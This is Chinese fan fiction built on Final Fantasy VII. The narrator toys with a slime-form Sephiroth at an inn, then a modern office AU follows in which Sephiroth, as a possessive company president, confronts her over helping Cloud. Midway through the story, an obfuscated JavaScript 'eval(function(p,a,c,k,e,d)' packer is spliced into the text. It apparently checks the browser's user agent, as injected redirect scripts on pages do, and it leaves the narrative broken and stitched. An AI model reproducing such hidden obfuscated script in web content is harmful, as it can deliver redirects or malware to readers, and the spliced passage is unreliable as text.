说罢,我五指张开,扯了扯,取出了萨菲罗斯的一小团。接着,在那团柔软的“原材料”上按压、揉捏、拉伸。 它的延展性出奇的好,任由我搓圆搓扁,拉长缩短,而且手感绝佳,像是在玩一块永远不会变形的高级史莱姆。 很快,一个勉强能看出是米德加巨蟒造型的物体在我手中成型。 虽然细节粗糙了点,比如那颗巨大的三角脑袋有点歪,身上的鳞片更像是一块块贴上去的泥巴,但那股盘踞的姿态,还是有几分神韵的。 “看!萨菲罗斯牌米德加巨蟒!威风吗?” 我举起手中的“杰作”,得意洋洋地向浴缸对面那团主体部分展示。 【“如果‘威风’的定义是扭曲的形态和粗劣的模仿,那么,它确实达到了某种程度的‘威风’。”】 萨菲罗斯的声音带着一丝无奈,清晰地在我脑海中响起。 被我塑造成巨蟒形态的那部分胶状体轻轻颤动了一下,表面的碧绿色光芒似乎也暗淡了瞬间,仿佛在表达它的不满。 “哎呀,你这是什么语气?”我不乐意了,伸手戳了戳“巨蟒”的“脑袋”。 【“……”】 啧,又不说话了。 “既然你不喜欢威猛的,那来个可爱的怎么样?” 我一边说,一边将他的胶状体重新塑形。这一次,我格外用心,手指灵巧地捏、搓、按、压。 不一会儿,一只巴掌大小的、胖乎乎的、毛茸茸的(当然只是看起来毛茸茸)黑色小猫咪轮廓逐渐清晰。 它有着圆圆的脑袋,小小的三角形耳朵,短短的四肢,还有一条微微向上翘起的尾巴尖。 我甚至还用指甲在它脸上轻轻划出两道弯弯的眼睛和一个小小的倒三角鼻子。接着,举起这只萨菲罗斯牌小猫,在他主体面前晃了晃。 “看!这个可爱吧!是不是那只白色蠢猫还要可爱?” 【“……”】 脑海中一片沉默,只有那团墨黑色的胶状体表面,碧绿色的光芒剧烈地闪烁了几下,频率快得惊人。 那只被我捏出来的“小黑猫”也随之剧烈地抖动起来,仿佛下一秒就要散架。 “喂喂,你这是什么反应?” 我有些不满地捏了捏小猫的耳朵。 “难道你对猫过敏?不对啊,你现在都不是人了。” 我百思不得其解,继续自言自语:“还是说,你觉得猫这种生物太弱小,不符合你‘未来神明’的身份?” 【“我对任何形态的生命体都没有偏见,无论是强大的魔兽,还是弱小的猫咪。”】 【“只是,你用我的‘本质’,去塑造这种…‘宠物’的形象,多少还是让我感到一丝…新奇。”】 我指着这只快要塌陷的小猫,语气严肃。 “既然是宠物,那就要像宠物一样。萨菲罗斯四号,使用喵喵叫!” 那只“小猫”在我手中剧烈地抖动了一下,表面的墨黑色胶状体如同煮沸的沥青般翻滚着,几缕碧绿色的光芒在其中快速穿梭,像是被电流刺激到了一样。 【“你对‘宠物’的定义,似乎包含了一些强制性的服从命令。”】 “那当然了!”我理直气壮地回答,手指不安分地开始捏“小猫”那并不存在的胡须,“宠物不听话,要来干什么?当祖宗供着吗?” 我晃了晃手中的“小猫”,它的形态因为我的动作而更加不稳定,几乎要重新融化成一滩墨色的液体。 “别那么小气嘛,萨菲罗斯。” 我伸出脚,轻轻踢了踢浴缸对面那团“鼻涕泡”。 “你看,变成小猫多可爱。而且,喵喵叫也不是什么难为情的事情,很多强大的生物也会发出可爱的叫声,比如……呃……” 【“比如,一只饿了几天的幼年贝希摩斯?”】 萨菲罗斯接话,语气里带着一丝极淡的嘲讽。 “对对对!就是那种感觉!” 我立刻顺杆爬,用力点头。 话音刚落,那只一直被我托在掌心的“小黑猫”,忽然动了。 它那短短的、由胶状体构成的四肢,笨拙却又带着几分诡异的灵活,在我手掌上“走”了半圈,然后,用它那圆滚滚的脑袋,轻轻地蹭了蹭我的手指。 与此同时,一个轻柔得几乎听不见,却又带着电流般酥麻质感的“喵呜~”声,直接在我脑海深处响起。 “……” “噗——咳咳!” 我一个没忍住,被浴缸里的水呛到,剧烈地咳嗽起来。 --- 洗完澡后,我穿回了那套熟悉的黑色连帽衫,把萨菲罗斯裹在一团旅馆送的浴巾里。 那团被浴巾裹着的墨黑色胶状体在我手中不安分地蠕动着,几根细小的、闪烁着碧绿色荧光的触须从浴巾的缝隙中探出来,好奇地打量着这个陌生的房间,又或者,是在感受我的体温。 因为缆车只有明早才会开张,我不得不又睡一个晚上。 虽然——我不需要睡眠。 我将那团被浴巾裹成一长条的墨黑色胶状体随意地扔在床上。萨菲罗斯在柔软的床铺上弹了两下。 “好了,鼻涕四号,今晚你就乖乖待在这儿吧。” 我拍了拍手,宣布道,然后开始在不算宽敞的房间里踱步。 这房间简陋得很,一张吱呀作响的木床,一张缺了角的木桌,还有一把看起来随时会散架的椅子。 墙上挂着一幅褪色的科雷尔风景画,画上的仙人掌蔫头耷脑,毫无生气。 【“对于我形态的称呼,你的创意似乎已经枯竭了。”】 那团墨色的胶状体在床上缓缓摊开,像一滩正在蔓延的墨汁,几根细长的触须伸展出来,在床单上轻轻滑动。 我走到窗边,推开吱呀作响的木窗。 夜晚的凉风立刻灌了进来,吹动着我额前的银发。窗外是无尽的星空,没有米德加那恼人的光污染,星星显得格外明亮。 【“你似乎对窗外的夜色很感兴趣。科雷尔的星空,和尼布尔海姆相比,有何不同?”】 “星星都差不多吧,在哪儿看不是看。” 虽然这么说,我却依然没有将视线移开。 “……” 忽地,一股熟悉的气息自身后覆盖而来。 那不再是冰凉柔软的胶状体触感,而是带着人类体温的坚实。 一双修长的手臂从我腋下穿过,轻轻环住了我的腰,将我向后拉去,紧紧贴合上一个宽阔而带着些微凉意的胸膛。 银色的长发垂落,几缕发丝扫过我的脸颊和脖颈,痒痒的。 萨菲罗斯的下巴轻轻搁在了我的右边肩窝,他温热的呼吸喷洒在我的耳廓,激起一阵细微的战栗。 “星星,有什么好看的?” “它们冰冷,遥远,虚无缥缈。亿万年来都只是沉默地悬挂在那里,见证着无数生命的诞生与消亡,却从不参与,也从不改变。” 他顿了顿,放在我腰间的手指无意识地摩挲着我的衣料,指尖的凉意透过布料渗进来。 “这样的东西,值得你如此专注吗?” 我懒洋洋地打了个哈欠。 “那我看什么?” “注视我。” 我忍不住从鼻子里发出一声嗤笑,转过头,试图从他怀里挣脱出来一些,以便能更清楚地看到他的脸。 萨菲罗斯微微歪头。 “难道还有比我更值得你注视的存在吗?” 我伸出手,捏住他的鼻梁。 一分钟。 两分钟。 时间慢慢的流逝—— 那对眼里似乎有细碎的光芒在闪烁,像是星空倒映在他眼中。 不知过了多久,我把手松开。 月光从窗外洒落进来,在他的脸颊投下柔和的光影。鼻梁上还留着我刚才捏出来的淡淡红痕。 萨菲罗斯抬手,用指尖轻轻碰了碰自己的鼻梁,沉默了片刻,然后唇角微微勾起一个难以捉摸的弧度。 “刚才,你在想什么?” “看你眼睛里的星星。” 他顿了顿,随后凑近了些。 发丝撩进了我的衣襟,痒痒的。 “真是个新奇的说法。那么,你都看到了些什么?它们…比窗外的那些更明亮,更吸引你吗?” “怎么说呢,你眼睛里的星星,比较…集中?” 我偏着头,努力组织着语言,一边把他碍事的头发撇远点。 “外面的星星太散了,看着费劲。你这里就不一样了,小小的一块地方,就装了这么多亮晶晶的东西,多省事儿啊。” 我说得一本正经,仿佛在评价什么便利的工具。 萨菲罗斯伸出手,轻轻握住了我跟他头发缠斗的那只手。 “那就永远在我身侧,注视着我。你的愿望,我都会为你实现,无论是追寻遥远的星际,还是未知的冒险。” 他一字一句地说着,语气温柔,但那抹瑰丽的竖瞳却死死锁定着我。 “从今往后,我就是你的星空,你唯一的星空。” 我眨了眨眼。 “不要。” 干脆地拒绝了他的提议,我抽出了手。 --- 晚上,我躺在床上,因为睡不着,盯着房间内的天花板发呆。 萨菲罗斯不知为何又变成了一团。 它趴在我胸口,不轻不重,冰凉的触感透过薄薄的衣料渗进来,驱散了科雷尔夜晚的一丝燥热。 “喂,萨菲罗斯。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那团胶状体沉默了片刻,表面的碧绿色光芒忽明忽灭,像是在认真思考我的问题。 【“毛茸茸,陆行鸟形态,会喷火,还能宇宙航行。”】 他逐字逐句地重复着我的描述。 【“据我所知,目前观测到的宇宙生命数据库中,尚未有完全符合你描述的物种。不过…”】 几根新的触须从主体上延伸出来,轻轻搭在我的额头上。 【“如果你真的如此渴望,在之后为你‘创造’一个出来,也并非难事。”】 “……” “那还是算了吧。” 我再次拒绝。 搭在我额头的触手往下,停留在我的脸颊。 【“……”】 “未知生物,要自己去发现才有意思。冒险,就是要危险刺激才有趣。” 我把脸上的触手弄下,接着把那一团萨菲罗斯举起。 莹绿色的流光在其中闪烁,衬着窗外无垠的星空,如梦似幻。 “星际,也要自己去探索才好玩啊。” 【“这就是你拒绝我的原因?”】 【“是因为你口中的‘冒险’和‘探索’吗?这些东西,比我,比我们之间的‘连接’,更重要?”】 我捏着它,然后,将萨菲罗斯贴在了我的额头。 语气疑惑。 “我当然要跟你一起去探险啊?只看你给我的多没意思。” “怎么,你不想给我打工?拒绝也没用——!” 呵呵,等我一复活他…… 那团被我贴在额头上的墨黑色胶状体陷入了一种奇特的静默。 随后,是上扬的语调。 【“原来如此。”】 【“并非是拒绝与我同行,而是渴望与我并肩,亲自去拨开那些未知的迷雾,而不是仅仅接受我为你呈现的结果。”】 我梗了梗。 怎么在他嘴里就变奇怪了呢? 于是我抓起那一坨萨菲罗斯,开始揉捏他。 他好像心情愉悦,甚至在我把他捏成一团炸毛的陆行鸟时,都没有动作。 --- 前往金蝶的缆车。 缆车平稳地在钢索上滑行,车厢随着轻微的晃动,发出规律的“吱嘎”声。 窗外的科雷尔黄沙渐渐远去,取而代众的是一片深邃的峡谷和蜿蜒的河流。阳光透过缆车玻璃窗,在不算宽敞的车厢内投下斑驳的光影。 萨菲罗斯在我头顶,与我的头发一起被兜帽压着。 早上起来的时候,我才发现他不知什么时候恢复了人形,整个人压在我身上—— 然后我就让他变成一团了。 因为可以省一份车票啊! 我用手压了压头顶的兜帽,感受着那团熟悉的、冰凉又软乎乎的重量。 “喂,萨菲罗斯三号升级版。” 我用手肘拐了拐并不存在的旁边。 “被本未来的盖亚皇帝当帽子戴,感觉如何?是不是觉得与有荣焉,受宠若惊?” 【“如果‘荣幸’的定义是被压在粗糙的布料下,并且还要欣赏你不成调的哼歌声,那么,我的确‘荣幸’之至。”】 我顿了顿,伸出手拍了拍我的头顶。 不算轻,发出了啪的一声。 在不远处的旅客对我投以了奇怪的眼光。 61.因为吃多了拼好饭所以跟银发总裁和金毛助理玩起了囚禁pla[番外] 诡异的现代pa (1) 当我知道我其实是盖亚公司总裁的私生女后,第一反应我是狂喜的。 太好了,我是富二代哎! 盖亚总裁并没有其他的孩子,老总裁年纪也大了,如果我一过去,说不定就能直接阶级越级,甚至有可能混成下一任总裁。 但是第二反应,我才意识到了什么。 比如,我是跟着从小到大混一起的兄弟进的杰诺瓦公司,现在他是总裁。 比如,盖亚和杰诺瓦水火不容。 比如,我的兄弟他精神状态有些不对劲,到处怀疑这怀疑那。 前天更是把之前管尼布尔海姆辖区的金毛给开了,顺便还稍加运作,把人家告的倾家荡产——现在整个公司人人自危。 先,先吃个拼好饭吧。 (2) 杰诺瓦食堂内,我一边看着手机,一边吃着我今天中午用神卷膨胀9元点的炒饭。 金毛给我发消息了。 这边提前说一下,此金毛名为克劳德,在他被开除前,是我部门里的人,我们关系还不错。 【还在杰诺瓦吗?】 【跟我一起走吧,我们一起面对萨菲罗斯。】 “噗——咳咳!” 看到这句话,我差点没把我加了2元点的煎蛋吐出来。 我手忙脚乱地抽出纸巾擦嘴,一边咳嗽一边瞪着手机屏幕上那行字。 富二代这个身份我还没捂热乎呢,怎么就突然快进到要和精神病兄弟火并的剧本了? “面对萨菲罗斯?”我小声嘀咕,用筷子戳着餐盘里剩下的米饭,“拿什么面对?拿我这九块钱的拼好饭吗?还是靠你那已经被冻结的银行卡?” 说真的,克劳德的变化是挺大的。 以前跟我说话,十句里有八句是“呃”、“那个”、“经理你觉得呢”,恨不得把头埋进领子里。现在倒好,言简意赅,直奔主题,还透着一股破釜沉舟的悲壮感。倾家荡产果然是催人成熟的速效药啊。 我环顾了一下四周。杰诺瓦的员工食堂还是老样子,宽敞明亮,充满了未来科技感的设计风格,餐具都是自动清洗回收的。 但今天的气氛明显不对劲。往常午餐时间,这里总是人声鼎沸,大家三三两两聚在一起聊天八卦。 可现在,大部分人都埋头扒饭,偶尔交谈也是压低了声音,眼神闪烁,透着一股子小心翼翼。 还是先苟着吧。 我飞快地在手机屏幕上打字,回复克劳德: 【兄弟,你认真的?拿头去面对啊?你忘了你房子都被收了吗?】 【我这边情况复杂,暂时动不了。你先找个地方安顿下来,别饿死街头了。】 【转账:500 】 我把我这周的生活费转给了克劳德。 对于钱,我其实一开始不是很缺——因为其实只要我伸手不要脸的问萨菲罗斯要奖金,他就会给我。 但是自从两个月前我得知了我的身世后我就不大敢见他了。 屏幕上刚出现了【转账成功】的字样,我一抬头。 与一对莹绿的眸子对上了视线。 萨菲罗斯。 他就站在我的餐桌旁,距离不远不近。一身剪裁完美的黑色西装,纤尘不染,银色的长发柔顺地披在肩后,几缕垂在胸前。 一只手随意地插在西裤口袋里,另一只手拿着一个黑色的文件夹,姿态优雅得像是来参加晚宴,而不是突袭员工食堂。 周围原本还算有些低语声的食堂,在他出现的瞬间,彻底陷入了死寂。 我能清晰地听到邻桌那个会计大哥吞咽口水的声音,以及更远处餐具轻微碰撞后骤然停止的细响。 所有人的动作都凝固了,目光或惊恐或敬畏地投向这边,但又飞快地低下头,假装什么都没看见。 我试图和往常一般开口。 “萨菲罗斯……呃,好巧,我吃饭呢……” 萨菲罗斯从来不让我叫他敬称,所以在公司里,我往往直呼其名。 在这个几乎可以说的上是“君主制”的杰诺瓦内,直呼“皇帝”的名讳,这是一种极大的特权了。 但这种特权我其实不大需要。 “嗯。” 他意味不明的发出一个音节。 糟了,从小一起长大,虽然最近很久不见了,我还是能看出来他心情不好。 这是怎么了?他为什么不开心? 难道是知道我想跳槽到对面公司当老总了吗? “咳咳,好久不见啊,萨菲罗斯,你最近挺忙的嘛,好久没有一起吃饭了。” 其实是我最近一直在偷偷躲他,但我就是要这么说——指不定他觉得我烦了,直接把我开除呢。 “是吗?” 萨菲罗斯的声音响起了,依旧是那种平稳优雅的调子,却带着一股无形的压力,让周围的空气都变得稀薄起来,“我还以为,是你单方面觉得我们很久没见了。” 他微微倾身,靠近了一些,那双眼睛清晰地倒映出我有些绷不住的表情。 “毕竟,”他继续说道,目光落在我面前那盘只吃了一半的、看起来油腻腻的炒饭上,“你最近似乎有很多‘私事’要处理,忙到连在公司走廊碰到我,都需要立刻找个借口拐进洗手间。” “……” 非常尴尬,原来他知道我在躲他。 没等我开口瞎扯,萨菲罗斯带着手套的手忽然的,放在了我的手腕上。 那力道不轻不重,黑色皮革带来一阵微凉的触感。 我下意识地想抽回手,但手腕上传来的力道恰到好处地阻止了我的动作。 好的。 我光速滑跪。 “我错了,下次一定秒回你,遇见你也一定跟你打招呼。” “……” 他瞥了我一眼,然后,就这样坐在了我的对面。 手没放开。 ……这算是放过我了吗? “怎么吃这种东西?” 一听他开始侮辱我最爱吃的炒饭,我就有些不爽,萨菲罗斯这种有钱的资本家又懂些什么?拼好饭怎么你了?9块钱这样还不够吗? 于是我内心冷笑一声,直接窝囊的开口。 “啊哈哈,因为想吃嘛。” (3) 我的拼好饭没有吃完,就被萨菲罗斯抓去了他的办公室。 我对这片空间极其熟悉——在萨菲罗斯还不是总裁的时候,这里是神罗,我经常来他办公室摸鱼,甚至抓着他一起打游戏。 现在简直物是人非。 他不仅成了资本家,精神也不稳定了。 我被他一路从食堂“押送”过来,手腕还被他攥着。直到办公室厚重的合金门在我身后无声地合拢,发出轻微的“咔哒”声,他才松开了手。 手腕上还残留着他皮革手套微凉的触感,以及那不容拒绝的力道。 我揉了揉手腕,偷偷瞥了他一眼。 虽然我们小时候经常在一起打闹,但成年之后,他往往都跟我保持恰当的距离。 况且自从我去年出差跟他一起出了车祸,只有我一个人进了icu(虽然其实不是他的责任),萨菲罗斯就更纵容我了,无论我在公司里怎么摸鱼,他都不会怪我。 所以,应该,不是来兴师问罪我的? 糟糕,怎么他还站在我前面…… 太近了。 近到我能看清他那双莹绿色眼眸深处细微的情绪波动,近到我能感觉到他呼吸时带起的微弱气流拂过我的额发。 这种距离已经远远超出了安全的社交范围,甚至超越了我们过去最亲密无间时的界限。 我不自觉地向后缩了缩脖子,脚下微不可查地向后挪了一小步,后背几乎贴上了冰冷的合金门板。 “怎么不说话了?”萨菲罗斯的声音再次响起,比刚才在食堂时更低沉了几分,带着奇特的磁性,却又让人脊背发凉,“刚才在食堂,不是还挺能言善辩的吗?编造的理由一套一套的。” “我,我没有编理由啊,”我强迫自己直视他的眼睛,声音却干巴巴的,“就是,就是最近肠胃不太好,所以才老往洗手间跑,真的!不信你问人事部,我这个月病假条都用了好几张了!” 我开始胡说八道,试图蒙混过关。以前这招对他挺管用的,只要我找个借口或者装个可怜,他多半就不会再追究。 但现在的萨菲罗斯……我心里一点底都没有。 “肠胃不好?” 他重复着我的话,却笑了。 “是吗?需要我让公司的医疗团队给你做个全面检查吗?从食道到十二指肠,每一个环节都仔细看看,确保没有任何遗漏。” “……” 我暂时没想出说什么好。 萨菲罗斯又笑了一声。 哥我求你你别笑了。 我努力挤出一个笑容,摆着手试图挽回:“不,不用了吧,萨菲罗斯!一点小毛病,不值得动用公司宝贵的医疗资源!真的!你看我现在不是好好的嘛,活蹦乱跳的!” 为了证明自己“活蹦乱跳”,我还象征性地原地蹦跶了两下,结果后背结结实实地撞在了冰冷的门板上,“咚”的一声,疼得我龇牙咧嘴。 “是吗?”萨菲罗斯看着我这蠢样子,那双莹绿色的眸子里掠过一丝几不可见的笑意,但那笑意很快就消失了,取而代之的是一种更深的探究,“我倒是觉得,你最近的精神状态,比你的肠胃更需要关注。” 我觉得你的精神状态才需要被关注。 他上前一步,我们之间的距离再次缩短到几乎可以感受到彼此呼吸的程度。 抬起一只手,戴着黑色手套的手指轻轻拂过我的额角,将一缕被撞乱的头发拨到耳后。 指尖冰凉的触感让我浑身一僵。 “你好像很紧张。”他陈述道,目光紧紧锁着我的眼睛,“你在怕什么?” 怕你啊大哥! 怕你发现我想跳槽去对面当总裁,然后把我像开除克劳德那样扫地出门,甚至可能更惨!毕竟我们可是“青梅竹马”呢! “没怕什么啊!”我梗着脖子,强装镇定,“就是,就是办公室空调开太足了,有点冷,哈哈,冷得发抖。” 萨菲罗斯没说话,只是静静地看着我,那眼神好像能把我从里到外看得一清二楚。办公室里只剩下中央空调细微的送风声,和我自己越来越响的心跳声。 这种沉默比直接质问更让人难受。 “克劳德·斯特莱夫,”就在我快要憋不住想随便说点什么打破沉默的时候,萨菲罗斯忽然开口,提到了那个名字,“你给刚刚他转了五百块?” 我瞳孔地震。 “啊?克劳德?谁是克劳德?” 我立马反应过来,试图装傻,眼神飘忽,“我不认识叫这个名字的人啊,是不是搞错了?同名同姓吧?” “是吗?”萨菲罗斯的语气没什么变化,但他捏着我手腕的那只手,不自觉地收紧了几分,“尼布尔海姆分部前任主管,因为‘工作失误’被开除。而就在刚才,你的账户有一笔五百块的转账记录,收款人正是他。” 他顿了顿,目光锐利如刀:“还需要我调出你和他的通讯记录吗?看看你们‘不认识’的人,都聊了些什么?比如,‘一起面对萨菲罗斯’?” 不是,这是他半个小时前发的啊,萨菲罗斯怎么知道的? “我,我那是……” 我大脑飞速运转,试图找一个合理的解释,“我那是,那是看他可怜!对!同事一场,他被开除了,房子也没了,我于心不忍,就,就发扬了一下人道主义精神!五百块,就当是请他吃顿散伙饭了!至于那个‘一起面对’,那是…那是他喝多了胡说八道!我根本没当真!” 我越说越觉得这个理由简直天衣无缝,甚至佩服起自己的急智来。 萨菲罗斯听完我的解释,脸上的表情依旧没什么变化,只是那双绿眼睛里的神色更加深邃难懂。 “人道主义精神?” 他重复着我的话,嘴角勾起一抹似笑非笑的弧度,“你什么时候变得这么‘善良’了?我记得以前,有人连路边流浪的小猫都不会多看一眼,除非那只猫长得特别像某种限定手办。” 他说的“有人”,指的就是我。 完了,他居然这么懂我。 “人总是会变的嘛!”我干笑着,“经历过去年那场车祸,我大彻大悟了!觉得生命可贵,要乐于助人!” 一提到去年的车祸,萨菲罗斯的眼神就立马变了。 我忽然有种不祥的预感。 他确实没再笑了,这一点是好的,但我觉得他不如继续笑呢。 萨菲罗斯脸上的所有表情——无论是之前的似笑非笑,还是带着探究的审视,都在瞬间褪去。 莹绿色的眼眸深处翻涌起一种难以言喻的阴郁,那不再是单纯的不悦或怀疑,而是更深沉、更黑暗的东西,像平静湖面下突然裂开的深渊,隐约透出冰冷的漩涡。 他放在我额角的手指并没有立刻收回,反而顺着我的脸颊轮廓缓缓下滑,冰凉的皮革触感带着一种令人心惊的缓慢,最终停留在我的下颌处,指尖微微用力,强迫我抬起头,无法回避他的视线。 “真有趣,萨菲罗斯每一个字都像冰珠砸在地上,清晰而冷冽,“那场车祸让你学会了‘乐于助人’,学会了对一个刚刚被我亲手踢出公司的人施以援手,却唯独让你忘记了,是谁在那场车祸里,几乎…” 他的话语顿住,眼底掠过了什么。 “是谁在那之后,一直守在你的病床前。”他最终换了一种说法,语气平静,却透着一股森然的意味,“看来,那场车祸,影响的不仅仅是你的身体,还有你的记忆。” “……我……” 话没说完,萨菲罗斯咬了我一口。 我甚至没能把那个辩解的音节发出来。 牙齿不轻不重地啃噬着我的下唇,力道算不上凶狠,却带着一种不容置疑的、近乎惩罚性的意味。 那感觉很奇怪,有点疼,又有点麻,像有微弱的电流窜过,让我浑身的汗毛都竖了起来。 我的大脑瞬间宕机了。 萨菲罗斯?在咬我?他疯了吗? 那短暂的啃咬之后,萨菲罗斯并没有立刻退开。他只是微微松开了牙齿,嘴唇却依旧紧贴着我的,甚至用舌尖舔舐了一下我被咬破的地方,带起一阵刺痛和奇异的麻痒感。 一股淡淡的血腥味在我们唇齿间弥漫开来。 “疼吗?”他的唇还压着我的,那张完美的脸近在咫尺,语气正常,像在问一件无关紧要的小事。 “没,没疼,”我几乎是脱口而出,声音因为紧张而有些发颤,脑子努力运转,“你,你牙口真好啊萨菲罗斯!是不是最近偷偷去补钙了?改天推荐牙膏牌子给我呗?” “嗯,推荐给你。” 他的另一只手绕到我身后。 “咔哒”一声轻响,办公室的门被他从内部反锁了。 (4) 第二天,食堂内。 我呆滞的吃着11块钱的拼好饭。 昨天萨菲罗斯不仅把他的牙膏"推荐"给我了,他还把他的香水,护发素,皮带,沐浴露等等全套都"推荐"给我了。 顺便,他还想把他的公寓”推荐“给我。 克劳德又给我发消息了。 【怎么了吗?昨天没有回我消息……出事了吗?】 出事了吗? 看着屏幕上那行充满担忧的文字,我只觉得一阵疲惫。 出事了吗?何止是出事了,简直是翻天覆地。但我能怎么跟他说?说我被顶头上司兼兄弟给“推荐”了一整套包括他本人在内的“产品”? 我戳着手机屏幕,打字删掉,删掉又打字,纠结了半天,最终还是回了一句万金油式的废话: 【没事啊,昨天加班太晚了,手机没电就直接睡死过去了。你那边怎么样?找到住的地方了吗?钱够不够?】 克劳德那边秒回了。 【你出了什么事?】 "……" 他这么敏锐的吗? 我一会没回—— 【我马上来找你。】 ???? 克劳德!你清醒一点!你现在可是杰诺瓦公司总裁亲自点名处理的“叛徒”,银行卡冻结,信用记录全黑,大厦的安保系统估计早就把你的脸录入一级警报名单了!你跑来杰诺瓦不是自投罗网吗? 我手指哆嗦着,飞快地打字: 【别来!千万别来!我没事!真没事!就是昨天熬夜赶报告,现在累得像条狗!】 【你在哪?给我个地址,我下班过去找你!或者我给你再转点钱,你先找个网吧待着!】 【听到没有!不准过来!不然我跟你绝交!】 发出最后一句威胁,我自己都觉得有点幼稚。但现在也顾不上那么多了,必须先稳住他。 急得我拼好饭都吃不下了。 手机终于震动了一下,是克劳德。 【我已经在路上了。半小时后到杰诺瓦大厦楼下咖啡厅等你。如果你不来,我就自己上去。】 (5) 楼下的咖啡厅。 ……这是克劳德? 几个月不见,他像是被什么神秘力量(或者单纯是穷困潦倒的生活)催熟了一样。个子好像又窜高了一截,原本略显单薄的身板变得结实了不少,黑色短袖下隆起的臂肌线条流畅而充满力量感。那头标志性的金色刺猬头被一顶深色的兜帽压着,露出的几缕发丝依旧桀骜不驯,却少了几分毛躁,多了些沉淀下来的色泽。 最让我心头一跳的是他的眼神。那双蔚蓝色的眸子不再是清澈见底、带着点怯生生的懵懂,而是像蒙上了一层薄冰的深潭,里面沉淀着化不开的忧郁和一种…令人陌生的坚定。 他只是安静地坐在我对面,没有说话,周身却散发着一种沉默的压迫感 “你看起来很累。” 克劳德终于开口了。声音比以前低沉了不少,也更平稳。 我当然累,不是,现在不是说这个的时候。 “没什么事,我说了,让你别过来,你来做什么?” 克劳德微微垂下头,他身上那种沉郁的感觉更重了。 我还不知道破产能让人变成这样,虽然他以前就挺自闭,但是现在—— “你应该离开这里,这座公司。萨菲罗斯他……太危险了,他会毁了你的。“ “跟我走吧。” ?? 他捏着杯子的力道稍稍加重,然后又放松。 “我有渠道,可以带你走。是……报答,你不用担心别的,只用相信我。” 我差点没把刚刚顺手喝的那一口水喷出来。 “我说,克劳德,”我抹了把嘴,“你是不是最近压力太大,产生幻觉了?带我走?去哪?去天桥底下盖报纸吗?” 我简直不敢相信自己的耳朵。 这小子以前在我手下的时候,连多说句话都脸红,现在居然敢策划这种“私奔”戏码了?还是带着我这个随时可能引爆萨菲罗斯那颗不定时炸弹的“危险品”私奔? “你别开玩笑了,”我身体前倾,压低声音,试图用一种“我们还是好哥们”的语气跟他沟通,“我知道你现在心情不好,被开除,房子没了,是挺惨的,但这也不能自暴自弃啊。报答什么的就更扯了,那五百块你拿着买点好吃的,不够我再给你转点。至于离开杰诺瓦——” 我停顿了一下,观察着他的反应。 克劳德并没有因为我的调侃而动怒,他只是静静地看着我,那双冰蓝色的眸子深处没有任何波澜,只有一种沉淀下来的、近乎固执的认真。 “我没有开玩笑。”他的声音平静,却带着不容置疑的坚定,“我说的每一个字都是认真的。这个地方对你来说太危险了,萨菲罗斯他已经不是我们以前认识的那个人了。你昨天没回消息,我就知道出事了。你嘴唇上的伤,是他弄的吧?” 他的目光锐利地落在我还没完全消肿的下唇上,那眼神仿佛能直接穿透我的伪装。 我下意识地用手指碰了碰下唇,那里的刺痛感又清晰起来。“这,这是我自己不小心咬到的!吃饭太急了!” 我强行解释。 克劳德没有戳穿我的谎言,只是微微摇了摇头,兜帽的阴影让他的表情看起来更加晦暗不明。 “你不用骗我。” 他低声说,“我知道他是什么样的人,也知道他会对在意的东西做什么。你不能再留在他身边了。他会像对待一件物品一样控制你,直到你失去自我,或者被他彻底毁掉。” "……" 这都什么事? 不过克劳德作为前资深迷弟,现资深萨学家,我不得不承认他说的话很有道理。 我又喝了一口水,又一口水,又一口水。 克劳德在对面认真的看着我。 我张了张嘴。 "……但,无论怎么样,萨菲罗斯对我而言,都是……" 灵机一动。 "陆行鸟,你帮我做事吧。我其实另有身份,我们一起拿下杰诺瓦吧。" "……" “我其实是盖亚总裁的私生女。” 克劳德,不要露出这种表情,我没有看小说看多了,也没有在幻想——虽然我昨天才跟你分享了米德加最物美价廉的一家拼好饭还有神卷膨胀秘诀,但我其实是隐藏的最终BOSS。 我凝视着他那双冰蓝色的眼眸,一字一句地说道:“我要拿回属于我的一切。盖亚公司,我势在必得。到时候,别说区区一个杰诺瓦,整个城市,都得听我的。” “你,帮不帮我?” (6) 就这样,我带着某只金毛陆行鸟加入了盖亚。 盖亚公司,总裁办公室外间。 老实说,从杰诺瓦那栋充满未来感、冷冰冰的钢铁巨兽,跳槽到盖亚这栋看起来更像是古典艺术馆、到处都是暖色调实木和柔软地毯的大楼,我花了足足三天时间才适应过来。 尤其是当我名义上的“办公室”比我在杰诺瓦的小隔间大了十倍,还配了个落地窗能俯瞰小半个米德加金融区的时候,这种不真实感就更强烈了。 当然,这种不真实感在我看到手机推送的财经新闻时,就瞬间被拉回了残酷的现实。 【杰诺瓦集团宣布进军新能源领域,首个项目直指盖亚传统优势产业】 【杰诺瓦股价逆市上扬,分析师称其总裁萨菲罗斯展现惊人商业魄力】 【独家爆料:杰诺瓦集团高层变动,疑为清洗盖亚安插多年的商业间谍】 【社交平台热议:银发总裁萨菲罗斯昨日现身慈善晚宴,颜值引爆全场,据悉其手腕佩戴某限量版腕表,价值……】 我面无表情地划拉着屏幕,感觉自己的太阳穴突突直跳。 这才几天功夫,整个米德加的商业版图都快被他搅得天翻地覆了。而且这家伙,一边在商业上对我爹(虽然我还没见过他)的公司重拳出击,一边还能抽空去参加什么慈善晚宴凹造型上热搜?! 这合理吗? “要喝点什么吗?” 我抬起头,看到克劳德端着两个马克杯站在我办公桌前。他还是那副兜帽加便服的打扮,不过看得出来衣服是新买的,料子不错。他把其中一个印着可爱黄色小鸡(…)图案的杯子放在我面前。 “热可可,加了双份棉花糖。” 他言简意赅地说。 我看着那杯热气腾腾、上面漂浮着白白胖胖棉花糖的热可可,又看了看克劳德那张依旧没什么表情、但眼神里透着“我很可靠”的脸,心情稍微平复了一点。 “谢了,陆行鸟牌外送员。” 我拿起杯子,抿了一口,甜腻温暖的液体滑入喉咙,确实让人舒服不少。 “你怎么知道我喜欢喝这个?” “以前你办公室抽屉里常备速溶包。”克劳德在我对面的椅子上坐下,回答得言简意赅。他手里那个马克杯是纯黑色的,里面似乎是咖啡。 原来他以前这么关注我吗?我都没注意。 